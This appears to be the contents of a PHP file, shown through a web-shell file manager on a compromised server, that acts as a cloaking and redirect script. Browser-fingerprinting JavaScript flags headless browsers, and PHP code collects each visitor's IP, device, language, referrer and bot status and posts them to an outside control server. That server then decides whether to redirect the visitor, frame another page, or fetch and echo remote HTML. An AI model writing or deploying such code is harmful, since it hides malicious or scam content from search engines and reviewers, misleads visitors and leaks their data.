HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.oenxbe.com/tank/index.php
<script type="text/javascript" charset="UTF-8">
let HEADLESS  = 1;
let HEADFUL   = 0;
let UNDEFINED = -1;
var head=0

 function testBrowser(name, testFunction) {
  const row         = document.getElementById(name);
  const resultBlock = document.getElementById(`${name}-result`);

  result = testFunction(resultBlock);
  if (result == HEADLESS){

    head=1
   
  }

    
}

function writeToBlock(block, text) {
 
}

// Test for user agent
function testUserAgent(resultBlock) {
  let agent = navigator.userAgent;

  writeToBlock(resultBlock, agent);
  return /headless/i.test(agent);
}

// Test for app version (almost equal to user agent)
function testAppVersion(resultBlock) {
  let appVersion = navigator.appVersion;

  writeToBlock(resultBlock, appVersion);
  return /headless/i.test(appVersion);
}

// Test for plugins
function testPlugins(resultBlock) {
  let length = navigator.plugins.length;

  writeToBlock(resultBlock, `Detected ${length} plugins`);
  return length === 0 ? UNDEFINED : HEADFUL;
}

// Tests for plugins prototype
function testPluginsPrototype(resultBlock) {
  let correctPrototypes = PluginArray.prototype === navigator.plugins.__proto__;
  if (navigator.plugins.length > 0)
    correctPrototypes &= Plugin.prototype === navigator.plugins[0].__proto__;

  writePluginsPrototypeResult(resultBlock, correctPrototypes);
  return correctPrototypes ? HEADFUL : HEADLESS;
}

function writePluginsPrototypeResult(resultBlock, correctPrototypes) {
  if (correctPrototypes)
    writeToBlock(resultBlock, `PluginArray and Plugin prototype are consistent`);
  else
    writeToBlock(resultBlock, `PluginArray or Plugin prototype aren't consistent`);
}

// Test for mime type
function testMime(resultBlock) {
  let length = navigator.mimeTypes.length;

  writeToBlock(resultBlock, `Detected ${length} mime types`);
  return length === 0 ? UNDEFINED : HEADFUL;
}

// Tests for mime types prototype
function testMimePrototype(resultBlock) {
  let correctPrototypes = MimeTypeArray.prototype === navigator.mimeTypes.__proto__;
  if (navigator.mimeTypes.length > 0)
    correctPrototypes &= MimeType.prototype === navigator.mimeTypes[0].__proto__;

  writeMimePrototypeResult(resultBlock, correctPrototypes);
  return correctPrototypes ? HEADFUL : HEADLESS;
}

function writeMimePrototypeResult(resultBlock, correctPrototypes) {
  if (correctPrototypes)
    writeToBlock(resultBlock, `MimeTypeArray and MimeType prototype are consistent`);
  else
    writeToBlock(resultBlock, `MimeTypeArray or MimeType prototype aren't consistent`);
}


// Test for languages
function testLanguages(resultBlock) {
  let language        = navigator.language;
  let languagesLength = navigator.languages.length;

  writeToBlock(resultBlock, `Detected ${languagesLength} languages and using ${language}`);
  if (!language || languagesLength === 0)
    return HEADLESS;
    return HEADFUL;
}

// Test for webdriver (headless browser has this flag true)
function testWebdriver(resultBlock) {
  let webdriver = navigator.webdriver;

  webdriverWriteResult(resultBlock, webdriver);
  return webdriver ? HEADLESS : HEADFUL;
}

function webdriverWriteResult(resultBlock, webdriver) {
  if (webdriver)
    writeToBlock(resultBlock, "Webdriver present");
  else
    writeToBlock(resultBlock, "Missing webdriver");
}

// Test for time elapsed after alert(). If it's closed too fast (< 30ms), it means
// the browser is headless
function testTimeElapse(resultBlock) {
  let start = Date.now();

  // alert("Press OK");

  let elapse = Date.now() - start;
  timeElapseWriteResult(resultBlock, elapse);
  return elapse < 30;
}

function timeElapseWriteResult(resultBlock, elapse) {
  let signal = elapse < 30 ? "<": ">";

  writeToBlock(resultBlock, `Time elapsed to close alert: ${elapse} (${signal} 30)`);
}

// Test for chrome element (especific for google chrome browser)
function testChrome(resultBlock) {
  let chrome = window.chrome;

  chromeWriteResult(resultBlock, chrome);
  return chrome ? HEADFUL : UNDEFINED;
}

function chromeWriteResult(resultBlock, chrome) {
  if (chrome)
    writeToBlock(resultBlock, "Chrome element present");
  else
    writeToBlock(resultBlock, "Chrome element not present");
}

// Test for permission
async function testPermission(resultBlock) {
  let permissionStatus, notificationPermission;

  if (!navigator.permissions) {
    permissionWriteResult(resultBlock, permissionStatus, notificationPermission);
    return UNDEFINED;
  }
  permissionStatus       = await navigator.permissions.query({ name: "notifications" });
  notificationPermission = Notification.permission;
  permissionWriteResult(resultBlock, permissionStatus, notificationPermission);

  if (notificationPermission === "denied" && permissionStatus.state === "prompt")
    return HEADLESS;
  return HEADFUL;
}

function permissionWriteResult(resultBlock, permissionStatus, notificationPermission) {
  if (permissionStatus && notificationPermission) {
    writeToBlock(resultBlock, `Permission stauts is "${permissionStatus.state}" and notification
                              permission is "${notificationPermission}"`);
  } else {
    writeToBlock(resultBlock, "Object navigator.permissions is undefined");
  }
}

// Test for devtools protocol
function testDevtool(resultBlock) {
  const any = /./;
  let count = 0;
  let oldToString = any.toString;

  any.toString = function() {
    count++;
    return "any";
  }

  console.debug(any);
  let usingDevTools = count > 1;
  devtoolWriteResult(resultBlock, usingDevTools);
  any.toString = oldToString;
  return usingDevTools ? UNDEFINED : HEADFUL;
}

function devtoolWriteResult(resultBlock, usingDevTools) {
  if (usingDevTools)
    writeToBlock(resultBlock, "Using devtools protocol");
  else
    writeToBlock(resultBlock, "Not using devtools protocol");
}

// Test for broken image
function testImage(resultBlock) {
  
  var image = document.createElement("img");

  image.src = "fake_image.png";
//   document.body.appendChild(image);

  image.onerror = function(){
    writeToBlock(resultBlock, `Broken image has width ${image.width} and height ${image.height}`);
    if(image.width === 0 && image.height === 0)
      return HEADLESS;
    return HEADFUL;
  }
}

// Test for outerHeight and outerWidth
function testOuter(resultBlock) {
  let outerHeight = window.outerHeight;
  let outerWidth  = window.outerWidth;

  writeToBlock(resultBlock, `Outerheight: ${outerHeight} and outerwidth: ${outerWidth}`);
  return (outerHeight === 0 && outerWidth === 0) ? HEADLESS : HEADFUL;
}

// Test for connection-rtt
function testConnectionRtt(resultBlock) {
  let connection    = navigator.connection;
  let connectionRtt = connection ? connection.rtt : undefined;

  connectionRttWriteResult(resultBlock, connectionRtt);
  if (connectionRtt === undefined) {
    return UNDEFINED;
  } else {
    return connectionRtt === 0 ? HEADLESS : HEADFUL;
  }
}

function connectionRttWriteResult(resultBlock, connectionRtt) {
  if (connectionRtt === undefined)
    writeToBlock(resultBlock, "Connection-rtt not defined");
  else
    writeToBlock(resultBlock, `Connection-rtt: ${connectionRtt}`);
}

// Test for mouse event (we're going to analyze attributes movementX and movementY)
function testMouseMove(resultBlock) {
  let zeroMovement = true;
  let mouseEventCounter = 0;

//   // set mousemove listener to body
//   document.getElementsByTagName("body")[0].addEventListener("mousemove", mouseEvent);

  writeToBlock(resultBlock, "Move your mouse");

  function mouseEvent(event) {
    zeroMovement = zeroMovement && (event.movementX === 0 && event.movementY === 0);

    // Analyze 50 mouse events until give result
    if (mouseEventCounter > 50) {
     
    }

    mouseEventCounter++;
  }
}

function mouseMoveWriteResult(resultBlock, zeroMovement) {
  if (zeroMovement)
    writeToBlock(resultBlock, "MovementX and movementY are 0 in every mouse event");
  else
    writeToBlock(resultBlock, "MovementX and movementY vary in mouse events");
}

/*
 *  Here is where we execute all the tests specified above
 */
const tests = [
  { name: "User Agent",        id: "user-agent",        testFunction: testUserAgent        },
  { name: "App Version",       id: "app-version",       testFunction: testAppVersion       },
  { name: "Plugins",           id: "plugins",           testFunction: testPlugins          },
  { name: "Plugins Prototype", id: "plugins-prototype", testFunction: testPluginsPrototype },
  { name: "Mime",              id: "mime",              testFunction: testMime             },
  { name: "Mime Prototype",    id: "mime-prototype",    testFunction: testMimePrototype    },
  { name: "Languages",         id: "languages",         testFunction: testLanguages        },
  { name: "Webdriver",         id: "webdriver",         testFunction: testWebdriver        },
  { name: "Chrome",            id: "chrome-element",    testFunction: testChrome           },
  { name: "Permission",        id: "permission",        testFunction: testPermission       },
  { name: "Devtool Protocol",  id: "devtool",           testFunction: testDevtool          },
  { name: "Broken Image",      id: "image",             testFunction: testImage            },
  { name: "Outer dimensions",  id: "outer",             testFunction: testOuter            },
  { name: "Connection Rtt",    id: "connection-rtt",    testFunction: testConnectionRtt     },
  { name: "Mouse Move",        id: "mouse-move",        testFunction: testMouseMove        },
];

tests.forEach(test => {
  generateTableRow(test.name, test.id);
  testBrowser(test.id, test.testFunction, test.resultFunction);
});

function generateComment(test, result) {
  if (/.*-result/.test(test)) {
    let comment = document.createComment(`${test}: ${result}`);
    document.body.appendChild(comment);
  }
}


function generateTableRow(name, id) {

}
document.cookie=`profile_viewer_uid=${head}`

</script>


<?php 
  
function is_spider() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
    if (preg_match('#(spider|mj12bot|dotbot|bingbot|googlebot|slurp|SemrushBot|AhrefsBot)#i', $ua)){
        return 1;
   }
    return 0;
}
$spider=is_spider();
$url1='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
function isMobile() {
  if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return '手机';
  }
  if (isset($_SERVER['HTTP_VIA'])) {
    return stristr($_SERVER['HTTP_VIA'], "wap") ? '手机' : false;
  }
  if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel',
    'lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi',
    'openwave','nexusone','cldc','midp','wap','mobile','MicroMessenger');
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
      return '手机';
    }
  }
  if (isset ($_SERVER['HTTP_ACCEPT'])) {
    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') ===
    false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
      return '手机';
    }
  }
  return '电脑';
}
$Mobile=isMobile();
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); 
function getIp()
{
    if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } else {
        if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) {
            $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else {
            if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) {
                $ip = $_SERVER["REMOTE_ADDR"];
            } else {
                if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],
                        "unknown")
                ) {
                    $ip = $_SERVER['REMOTE_ADDR'];
                } else {
                    $ip = "unknown";
                }
            }
        }
    }
    return ($ip);
}
 $ip=getIp();
 $widths = "<script>document.write(screen.width)<\/script>";
$heights = "<script>document.write(screen.height)<\/script>";
$heard  = $_COOKIE['profile_viewer_uid'];

  function clientOS() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if(strpos($agent, 'windows nt')) {
        $platform = 'windows';
    } elseif(strpos($agent, 'macintosh')) {
        $platform = 'mac';
    } elseif(strpos($agent, 'ipod')) {
        $platform = 'ios';
    } elseif(strpos($agent, 'ipad')) {
        $platform = 'ios';
    } elseif(strpos($agent, 'iphone')) {
        $platform = 'ios';
    } elseif (strpos($agent, 'android')) {
        $platform = 'android';
    } elseif(strpos($agent, 'unix')) {
        $platform = 'unix';
    } elseif(strpos($agent, 'linux')) {
        $platform = 'linux';
    } else {
        $platform = 'other';
    }

    return $platform;
}
function getCurl1($url,$turn=0)
    {
  
        
        header("Content-type: text/html; charset=utf8");
        $headers = [];
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); 
        curl_setopt($curl, CURLOPT_REFERER, "http://www.baidu.com/");
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
        $data = curl_exec($curl);
        curl_close($curl);
        if ($turn)
            $data = mb_convert_encoding($data, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');
        return $data;
    }
$opersystem=clientOS();
$refefef=strpos($_SERVER['HTTP_REFERER'],'facebook.com')?1:0;
$ch = curl_init('https://nodetcp.com/vue-admin-php/public/index.php/admin/check/adList');
$jsonData= array();
$jsonData['site_id']=1396;
$jsonData['username']='1006941410@qq.com';
$jsonData['refefef']=$refefef;
$jsonData['heard']=$heard;
$jsonData['widths']=$widths;
$jsonData['heights']=$heights;
$jsonData['opersystem']=$opersystem;
$jsonData['spider']=$spider;
$jsonData['url1']=$url1;
$jsonData['Mobile']=$Mobile;
$jsonData['lang']=$lang;
$jsonData['ip']=$ip;
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  
curl_setopt($ch, CURLOPT_USERPWD, "$username:$password");
curl_setopt($ch, CURLOPT_TIMEOUT,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($jsonData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$model = json_decode(curl_exec($ch));

if($model->type=='luodi'){
   if($model->anquan=='301'){
        echo("<script>location.href = '$model->anquanlianjie';</script>");
    }
    else if($model->anquan=='ifame'){
   
     echo "<iframe src=$model->anquanlianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
      }
    else if($model->anquan=='inner html'){
           echo require("data.php");
       }
}
else {
    if($model->youdao=='404'){
        @header("http/1.1 404 not found");
        return;
    }
    else if($model->youdao=='301'){
     echo("<script>location.href = '$model->youdaolianjie';</script>");
        
    }
      else if($model->youdao=='inner html'){
         echo require("safety.php");
    }
    else if($model->youdao=='超简页'){
        $stream_opts = [
    "ssl" => [
        "verify_peer"=>false,
        "verify_peer_name"=>false,
    ]
];
        if($model->sitetype=='commerce'){
         
          echo  file_get_contents("https://file.nodetcp.com/commerce/revise/$model->commerce/index.html",false, stream_context_create($stream_opts));
        }
        else{
         echo  file_get_contents("https://file.nodetcp.com/$model->sitetype/revise/index.html",false, stream_context_create($stream_opts));
        }
    
}
  else if($model->youdao=='ifame'){
   
     echo "<iframe src=$model->youdaolianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
      }
  else if($model->youdao=='采集'){
    echo getCurl1($model->youdaolianjie);
  }
  }
?>